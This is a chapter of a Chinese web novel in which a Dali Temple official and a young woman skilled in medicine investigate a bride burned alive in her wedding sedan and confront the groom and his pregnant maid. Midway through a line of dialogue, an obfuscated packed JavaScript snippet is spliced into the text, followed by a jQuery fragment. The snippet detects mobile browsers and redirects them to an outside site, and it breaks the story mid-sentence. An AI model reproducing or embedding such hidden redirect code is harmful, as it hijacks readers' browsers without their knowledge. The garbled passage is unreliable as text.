两人到时,尸体早已被搬去了义堂。
暮青已经验过尸,的确是被活活烧死的,十指上全是血。
沈青衍戴上护具,靠近焦黑的尸体仔细检查,果真在嫁衣上看到盐硝的残留,她点点头,“嫁衣被动过了手脚。”
暮青当即将尸体上的嫁衣褪下。
嫁衣被烧毁了一半,沈青衍拿起查看,却看不出个所以然来,她站起身摇摇头。
“那去现场看一下。”裴鹤明说道。
“好。”
大理寺外.
“愣着做什么?上去。”
沈青衍看过去,就见裴鹤明牵来了一匹马,“小女不会骑马。”
裴鹤明轻叹一声,干脆利落地翻身上马,居高临下地伸出手。
“我们共骑一匹马?”
他挑挑眉,眼底闪过一丝戏谑,“难不成沈姑娘想跑着去?”
话音刚落,马儿突然嘶鸣一声,吓得沈青衍后退半步,用这幅身子真跑着去怕是半条命都要交代在路上,她咬了咬唇,终是将手递了过去。
下一秒她整个人便落入他怀中,还未坐稳马儿就冲了出去,沈青衍脸色煞白,下意识攥紧了身后人的衣袖。
“怕就抓紧了。”耳畔传来低沉的嗓音,温热的吐息喷洒在耳边,她甚至能感受到身后胸膛传来的震动,脸上一片红晕。
抵达案发现场,裴鹤明利落的翻身下马,伸出手,见她没有动作,嘴角噙着笑,“怎么,还要本官抱你下马?”
沈青衍抿了抿嘴将手递过去,触碰的瞬间被他牢牢握住,掌心灼热的温度让她指尖一颤,还未反应过来,整个人已被稳稳扶下马背。
喜轿周围已被刑部的士兵看守着,见两人过来,当即拦住,“走走走,这不是你们能靠近的。”
裴鹤明拿出令牌,对方一看是大理寺的,立即点头哈腰,“小的有眼不识泰山,请大人恕罪。”
“退下。”
冷冷的声音传来,士兵当即让出一条路。
裴鹤明一个眼神,示意沈青衍上前查看。
轿帘被火烧焦了一些,但整体还是能遮住里面的情况的,她掀开轿帘,就见里面烧毁的更加严重,轿子的四壁都是黑的。
她拿出帕子掩住口鼻,走进去仔细查看,没一会儿外面的士兵就问道,“大人,敢问这位姑娘是...。”
裴鹤明看了他一眼,士兵当即不敢说话了,但依旧不老实,偶尔瞄了几眼轿子的方向,趁着裴鹤明与其他人说话,士兵便问道,“这位姑娘可有发现什么?”
沈青衍走出来摇摇头,来到裴鹤明身旁,正听到新娘夫家的管家说话。
“回大人,当时小人跟在少爷身旁,忽然听到轿中传来少夫人的喊叫声,我等反应过来时,轿顶上已烧起了火,掀开轿帘时少夫人已经死了。”
裴鹤明眉头微蹙,“期间可有人动过这轿子?”
“回大人的话,我等一直在这里守着,最后由几位官爷接手,只能远远的守着。”
裴鹤明问完了,询问沈青衍可有什么想问的,那她也就不客气了。
“我问你,你们少夫人和少爷的感情如何?”
管家拱手道,“我们家少爷和少夫人是由夫人和章家夫人敲定的,只有成婚之前在两家的宴会上见过一面,此外没有任何交流。”
“嗯,裴大人,我问完了。”
余小姐嫁的是一家王姓商户,在京城中也还算排得上号,余小姐父母早亡,章家夫人肯为她寻得这样一门婚事,也算是尽心了。
索性王家距离案发现场不远,两人便朝着王家走过去。
路上裴鹤明询问在轿中可有发现。
沈青衍说出自己的发现,“从烧毁的程度上来看,轿子四壁比坐垫烧毁的更严重,起火点应当不是轿子,更有可能是新娘的身上。”
“哦对了,刚刚那个管家说轿顶起了火,应该是新娘站起呼救时,身上的火烧到了轿顶里的挂的穗子,这才燃起的那样快。”
“只是...我有一点想不明白,为何新娘呼救时不跑出轿子?生命攸关,那时谁还会在乎吉利不吉利的事。”
裴鹤明长呼一口气,“谁知道呢,先问了王家之人再说。”
“行。”
来到王家,裴鹤明亮出令牌,看门的小厮当即恭恭敬敬的表示他先去通报。
“不必了。”裴鹤明直接将缰绳给他,让其看好马,出一点问题拿他试问,随后便带着沈青衍走进王家。
随便找了个小厮让其带着他们去王少爷的住处,刚踏进院子中,裴鹤明便让小厮离开了。
沈青衍不解,“大人,我们直接闯进去,恐怕不妥吧!”
“嘘~”裴鹤明做个噤声的动作,紧接着便听到里面传来了女子的笑声。
“少爷,你答应过的,只要那女人死了,您便纳奴婢进房中,您可不能食言啊!”
“你啊,怎么这么心急。”男人揽上她的腰压在床上。
砰的一声,下一秒门就被踹开了,惊的两人立即分开了,胡乱摆弄着身上衣服。
沈青衍与裴鹤明进来时,见到的就是这样的场面,当即不忿道,“王公子,今日好歹是你娶妻的日子,妻子死了,而你却在这里与丫鬟厮混,你还有良心吗?”
随后脑袋中浮现刚刚他们说的话,“是你们合谋杀了新娘。”
闻言丫鬟吓得看着少爷,而床上的王公子彻底反应过来,半靠在床头,“你们是谁啊?”
紧接着他开始色眯眯的上下打量沈青衍,“这位小美人是哪家的姑娘?本少爷怎么从未见过。”
“你...。”不等沈青衍怼回去,就见身旁的人如一道风般朝着床上的人而去。
只听阵阵惨叫,裴鹤明收回手,“再敢胡说,本官便不再留手了。”
听到本官二字,丫鬟慌乱不已,床上的王少爷也不淡定了,立即坐起身,“敢问二位是哪位大人?”
“大理寺寺卿大人。”沈青衍的话音刚落,就听扑通一声,两人齐齐跪在地上。
“小的不知大人前来,请大人恕罪。”
小丫鬟吓得更是瑟瑟发抖。
沈青衍走上前,“新娘可是你们合谋杀的?”
“不不不,不是小的。”王公子当即否定,“那余氏好歹也是跟章家夫人有血缘关系的,小的一介商户怎敢杀官员的家眷。”
“那为何你承诺这丫鬟等新娘子死了,便纳她进房中?”
王公子看了眼丫鬟,犹犹豫豫说道,“我那是忽悠她的,小的想着反正新娘嫁进来,就算等上几十年这丫鬟也进不来我房中。”
丫鬟闻言瞪大了眼睛,“少爷,你曾经说的话都是骗奴婢的?奴婢不相信。”
“你的身份不过是一个低贱的婢女,连做个外室都不配,本少爷肯哄你已是天大的恩赐。”
“少爷你怎么可以这样骗奴婢,你就不怕奴婢将您曾经做过的事情都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290364|182660||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说出来吗?”
啪的一声,丫鬟脸上的五个指印立即红了起来。
“你要是敢说,老子立即命人发卖了你。”
“你...。”丫鬟不知所措。
裴鹤明居高临下的看着互咬的两人,随即将视线停在丫鬟身上,“你说他曾经做过的事,指的是何事?”
见丫鬟还犹豫不定,裴鹤明放缓了声音,“只要你说出来,我等定不会为难你。”
丫鬟的身份本就不高,他们走后以少爷的性子,定会将她发卖掉,倒不如抓住此次机会,她就像抓住了最后一根稻草,“大人,少爷曾经...啊!!!”
不等众人反应过来,就见丫鬟腿上都是血,沈青衍与王少爷都震惊了,倒是裴鹤明面色如常。
沈青衍小声问道,“你这是怎么了?”
随后她立即跑去外面叫人去请郎中。
这样一闹,王家主母也知道大理寺的人来了,立即带人请去了正厅。
王夫人面露尴尬之色,“让二位瞧见了府中的丑事,二位勿怪。”
“无妨。”
王夫人一直观察着他们二人的表情,裴鹤明简单的两个字,听不出喜怒,倒是让王夫人有些不知下一步该如何了。
这时郎中走了过来,“启禀夫人,丫鬟肚中的孩子算是保不住了。”
“孩子?”任凭王夫人再淡定,却也没想到这逆子竟然闹出了人命。
“是的夫人,丫鬟的命是保住了,但...恐怕这辈子都无法有孕了。”
王夫人松了口气,抬了抬手让郎中退下。
沈青衍可怜那女子,但又不能直接说,只好悄悄拉了拉裴鹤明的衣袖,两人眼神交流。
裴鹤明原本是不喜欢管这些闲事的,不过...也不是不可以。
他气定神闲的说道,“既如此,王夫人可愿成全这段姻缘?”
“自然自然。”王夫人皮笑肉不笑,可笑,一个无法生育的丫鬟,怎么能进她儿子的房中,但表面功夫还是要做的。
“本官还未问话,便有劳请令公子出来一趟了。”
王夫人面露难色,“大人,犬子被吓到病倒了,可否等他身子好些再问话?”
沈青衍自告奋勇,“夫人,小女略懂一些医术,可否让小女为令公子看一看。”
“这...好吧!”王夫人身为商户,怎么敢拒绝官家之人。
一行人又回到了之前的院子,就见王少爷躺在床上,额头上敷着湿帕子,脸上烧的的通红,已经开始说癔语了。
王夫人见状便哭着扑过去,“我的儿啊,怎么吓成这样了。”
“儿啊,你让娘该怎么办呐,你要是有事娘也不活了。”
沈青衍与裴鹤明对视一眼,随后她便上前,“王夫人,可否让小女瞧瞧令公子?”
王夫人用手帕擦掉眼泪,“好。”
沈青衍拿出帕子搭在王少爷的手腕上,仔细把脉,看了下药方,“令公子受了惊吓,又急火攻心,此药方倒也妥帖,喝几天便能好了。”
王夫人闻言也舒心了许多。
“既如此,我等便不再叨扰。”裴鹤明招招手,让沈青衍跟着他一起走。
路上,他问出心中的疑惑,“我怎么不知你还会把脉看病,你还有多少的本官不知道的?”
沈青衍得意一笑,“大人想知道吗?”
裴鹤明虽未说话,但她能看出来,他明明就是想知道,嘴硬不明说。